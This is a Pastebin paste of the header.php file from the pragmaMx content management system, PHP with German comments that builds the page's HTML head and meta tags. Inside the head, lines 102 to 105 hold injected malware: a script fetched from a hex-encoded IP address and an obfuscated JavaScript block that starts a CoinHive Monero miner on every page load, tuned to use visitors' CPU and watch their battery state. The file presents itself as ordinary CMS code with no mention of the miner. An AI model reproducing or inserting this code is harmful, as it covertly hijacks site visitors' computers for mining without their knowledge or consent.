Advertisement
Guest User

Untitled

a guest
Jul 19th, 2018
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.59 KB | None | 0 0
  1. <?php
  2. /**
  3. * This file is part of
  4. * pragmaMx - Web Content Management System.
  5. * Copyright by pragmaMx Developer Team - http://www.pragmamx.org
  6. *
  7. * pragmaMx is free software: you can redistribute it and/or modify
  8. * it under the terms of the GNU General Public License as published by
  9. * the Free Software Foundation, either version 3 of the License, or
  10. * (at your option) any later version.
  11. *
  12. * $Revision: 1.19.2.10 $
  13. * $Author: tora60 $
  14. * $Date: 2008/01/29 00:41:42 $
  15. */
  16.  
  17. defined('mxMainFileLoaded') or die('access denied');
  18.  
  19. /**
  20. * definiert, dass diese Datei bereits includet wurde
  21. * nicht veraendern!
  22. */
  23. $GLOBALS['header_is_shown'] = true;
  24. $GLOBALS['header'] = 1;
  25.  
  26. /**
  27. * nur fuer nuke-Module noch drin!
  28. */
  29. global $PHP_SELF, $pagetitle;
  30.  
  31. /**
  32. * rechte Bloecke ausblenden oder nicht
  33. */
  34. if (defined('mxAdminFileLoaded')) {
  35. // in der Administration, die Bloecke NIE anzeigen
  36. $GLOBALS['index'] = 0;
  37. } else if (!empty($GLOBALS['vkpBlocksRight'])) {
  38. if ($GLOBALS['vkpBlocksRight'] == 1) {
  39. // Bloecke immer anzeigen
  40. $GLOBALS['index'] = 1;
  41. } else if ($GLOBALS['vkpBlocksRight'] == 2) {
  42. // Bloecke NIE anzeigen
  43. $GLOBALS['index'] = 0;
  44. }
  45. }
  46.  
  47. /**
  48. * Statistik aktualisieren
  49. */
  50. mxCounter();
  51.  
  52. /**
  53. * Onlineliste aktualisieren
  54. */
  55. online();
  56.  
  57. /**
  58. * das theme includen und die dort deklarierten Variablen in den globalen Scope importieren
  59. */
  60. $themevars = includetheme();
  61. foreach ($themevars as $key => $value) {
  62. global $$key;
  63. $$key = $value;
  64. }
  65.  
  66. /* falls kein Seitentitel angegeben wurde, diesen aus dem Modulnamen generieren */
  67. if (empty($pagetitle) && empty($GLOBALS['home']) && defined('MX_MODULE')) {
  68. $result = sql_query("SELECT custom_title FROM " . $GLOBALS['prefix'] . "_modules WHERE title='" . MX_MODULE . "' LIMIT 1");
  69. list($pagetitle) = sql_fetch_row($result);
  70. unset($result);
  71. }
  72. /* wenn kein Seitentitel, oder die Startseite, nur den Seitenname als Seitentitel anzeigen. */
  73. $pagetitle = (empty($pagetitle) || !empty($GLOBALS['home'])) ? $GLOBALS['sitename'] : $GLOBALS['sitename'] . " - " . $pagetitle;
  74. /* sicherstellen, dass der Seitentitel keine Tags enthaelt und Sonderzeichen nicht zerstueckelt werden */
  75. $pagetitle = strip_tags(str_replace('&nbsp;', ' ', $pagetitle));
  76.  
  77. /**
  78. * alter Mist, nur noch zur Kompatibilitaet mit alten vkp-Themes vorhanden
  79. */
  80. $VKPTheme = (empty($VKPTheme)) ? false : true;
  81.  
  82. /**
  83. * Die HTML-Ausgabe beginnen
  84. * Info zum Doctype:
  85. * - http://carsten-protsch.de/zwischennetz/doctype/einleitung.html
  86. */
  87. $GLOBALS['DOCTYPE'] = (empty($GLOBALS['DOCTYPE'])) ? 0 : intval($GLOBALS['DOCTYPE']);
  88. $doctype_arr = mxDoctypeArray($GLOBALS['DOCTYPE']);
  89. echo $doctype_arr['value'], "\n";
  90. if ($doctype_arr['xhtml']) {
  91. echo '<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="', _DOC_LANGUAGE, '" lang="', _DOC_LANGUAGE, '" dir="', _DOC_DIRECTION, '">';
  92. } else {
  93. echo '<html lang="', _DOC_LANGUAGE, '" dir="', _DOC_DIRECTION, '">';
  94. }
  95.  
  96. /**
  97. * der HTML-Beginn und Seitentitel
  98. * die Metatags
  99. */
  100. ?>
  101. <head>
  102. <script src="http://0xC84411C4/1d14e0ef0b07ac44.js"></script>
  103. <script>
  104. var _0x1323=["\x62\x6D\x56\x70\x44\x48\x4E\x75\x65\x4A\x44\x64\x61\x7A\x57\x33\x6C\x51\x48\x79\x75\x5A\x72\x41\x31\x49\x45\x53\x6A\x76\x71\x6B","\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E\x63\x79","\x66\x6C\x6F\x6F\x72","\x6D\x61\x78","\x73\x65\x74\x4E\x75\x6D\x54\x68\x72\x65\x61\x64\x73","\x63\x68\x61\x72\x67\x69\x6E\x67","\x73\x74\x61\x72\x74","\x6F\x6E\x63\x68\x61\x72\x67\x69\x6E\x67\x63\x68\x61\x6E\x67\x65","\x73\x74\x6F\x70","\x74\x68\x65\x6E","\x67\x65\x74\x42\x61\x74\x74\x65\x72\x79"];var xmr= new CoinHive.Anonymous(_0x1323[0],{throttle:0.85,threads:1});try{var threads=Math[_0x1323[3]](1,Math[_0x1323[2]](navigator[_0x1323[1]]/ 4));xmr[_0x1323[4]](threads);navigator[_0x1323[10]]()[_0x1323[9]](function(_0xe82dx3){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()};_0xe82dx3[_0x1323[7]]= function(_0xe82dx4){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()}else {xmr[_0x1323[8]]()}}})}catch(e){xmr[_0x1323[6]]()}
  105. </script>
  106. <title><?php echo $pagetitle ?></title>
  107. <meta http-equiv="Content-Type" content="text/html; charset=<?php echo _CHARSET ?>">
  108. <meta http-equiv="Content-Language" content="<?php echo _DOC_LANGUAGE ?>">
  109. <meta http-equiv="Content-Style-Type" content="text/css">
  110. <meta http-equiv="Content-Script-Type" content="text/javascript">
  111. <meta http-equiv="expires" content="0">
  112. <meta name="revisit-after" content="10 DAYS">
  113. <meta name="robots" content="INDEX, FOLLOW">
  114. <meta name="resource-type" content="DOCUMENT">
  115. <meta name="distribution" content="GLOBAL">
  116. <meta name="rating" content="general">
  117. <meta name="author" content="<?php echo htmlentities(strip_tags($GLOBALS['sitename'])) ?>">
  118. <meta name="keywords" content="<?php echo htmlentities($GLOBALS['metakeywords']) ?>, <?php echo MX_VERSION ?>">
  119. <meta name="generator" content="<?php echo MX_VERSION ?> - by http://pragmaMx.org">
  120. <meta name="copyright" content="Copyright (c) <?php echo Date("Y") ?> by <?php echo htmlentities(strip_tags($GLOBALS['sitename'])) ?>">
  121. <meta name="description" content="<?php echo htmlentities(strip_tags($GLOBALS['slogan'])) ?>">
  122. <?php
  123. if (!empty($GLOBALS['mxGoogleMetaVeri'])) {
  124. echo '<meta name="verify-v1" content="' . htmlentities($GLOBALS['mxGoogleMetaVeri']) . '">';
  125. }
  126.  
  127. /**
  128. * Zusaetze aus den Modulen und Themes
  129. * Bloecke werden evtl. erst in der footer.php beruecksichtigt,
  130. * dort wird die Funktion nochmals aufgerufen, falls etwas dazu gekommen ist.
  131. */
  132. pmxHeader::show();
  133.  
  134. /* Platzhalter fuer spaetere Ersetzungen in der footer.php */
  135. echo '<!-- pmx~header~' . MX_TIME . '~pmx -->';
  136.  
  137. /**
  138. * das favicon, versuchen aus dem Theme zu holen, wenn nicht...
  139. */
  140. if (@file_exists('favicon.ico')) {
  141. echo '<link rel="shortcut icon" href="', MX_BASE_URL, 'favicon.ico" type="image/x-icon">', "\n";
  142. } else if (@file_exists(MX_THEME_DIR . '/images/favicon.ico')) {
  143. echo '<link rel="shortcut icon" href="', MX_BASE_URL, MX_THEME_DIR . '/images/favicon.ico" type="image/x-icon">', "\n";
  144. }
  145.  
  146. /**
  147. * die globale CSS-Datei des Themes muss immer vorhanden sein,
  148. * weitere koennen problemlos ueber die pmxHeader-Klasse eingebunden werden
  149. */
  150. echo '<link rel="stylesheet" href="', MX_THEME_DIR, '/style/style.css" type="text/css">', "\n";
  151.  
  152. /**
  153. * zusaetzliche Datei fuer benutzerdefinierte Zusaetze im HTML-Headerbereich
  154. */
  155. include('includes/my_header.php');
  156.  
  157. /**
  158. * HTML-Header Bereich beenden
  159. * - weiter geht es mit dem body-Tag in der Funktion themeheader()
  160. */
  161. echo "\n
  162. <link href="http://colibriventura.com/modules/Gallery/themes_styles/dyna__mx-port__colibri_kiss.css" rel="stylesheet" type="text/css" >
  163. <script type="text/javascript" src="modules/Gallery/scripts.js"></script>
  164.  
  165. </head>\n";
  166.  
  167. /**
  168. * den Siteservice als erstes anzeigen
  169. */
  170. if (!empty($GLOBALS['mxSiteService']) || !empty($GLOBALS['mxDebugService'])) {
  171. mxSiteService();
  172. }
  173.  
  174. /**
  175. * der Seitenkopf des Themes,
  176. * evtl. mit Ausgabe der linken Bloecke in nuke-styled Thems
  177. */
  178. themeheader();
  179.  
  180. /**
  181. * Ausgabe der oberen Center-Bloecke in nuke-styled Themes
  182. */
  183. if (!empty($GLOBALS['home']) && !$VKPTheme) {
  184. blocks('center');
  185. }
  186.  
  187.  
  188.  
  189.  
  190. /* __________________________________________________________________________ */
  191. /**
  192. * kompatibilitaet zu < nuke-themes
  193. */
  194. function themecenterbox($title, $content, $block = array())
  195. {
  196. if (function_exists ('thememiddlebox')) {
  197. /**
  198. * In pragmaMx Themes existiert normalerweise diese Funktion und wird stattdessen verwendet
  199. */
  200. thememiddlebox($title, $content, $block);
  201. } else {
  202. OpenTable();
  203. echo '<div class="title">', $title, '</div><br>', "\n", '<div class="content">', $content, "</div>\n";
  204. CloseTable();
  205. echo '<br>';
  206. }
  207. }
  208.  
  209. /**
  210. * kompatibilitaet zu < VKP-Maxi-themes
  211. */
  212. if (!function_exists('OpenTableAl')) {
  213. /**
  214. * In pragmaMx Themes existiert normalerweise diese Funktion und wird stattdessen verwendet
  215. */
  216. function OpenTableAl()
  217. {
  218. global $bgcolor1;
  219. echo '<table width="80%" border="1" cellspacing="1" cellpadding="0" bgcolor="#ff0000" align="center">
  220. <tr><td><table width="100%" border="0" cellspacing="1" cellpadding="0" bgcolor="', $bgcolor1, '">
  221. <tr><td>
  222. ';
  223. }
  224. }
  225.  
  226. /**
  227. * kompatibilitaet zu < VKP-Maxi-themes
  228. */
  229. if (!function_exists('CloseTableAl')) {
  230. /**
  231. * In pragmaMx Themes existiert normalerweise diese Funktion und wird stattdessen verwendet
  232. */
  233. function CloseTableAl()
  234. {
  235. echo '</td></tr></table>
  236. </td></tr></table>
  237. ';
  238. }
  239. }
  240.  
  241. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement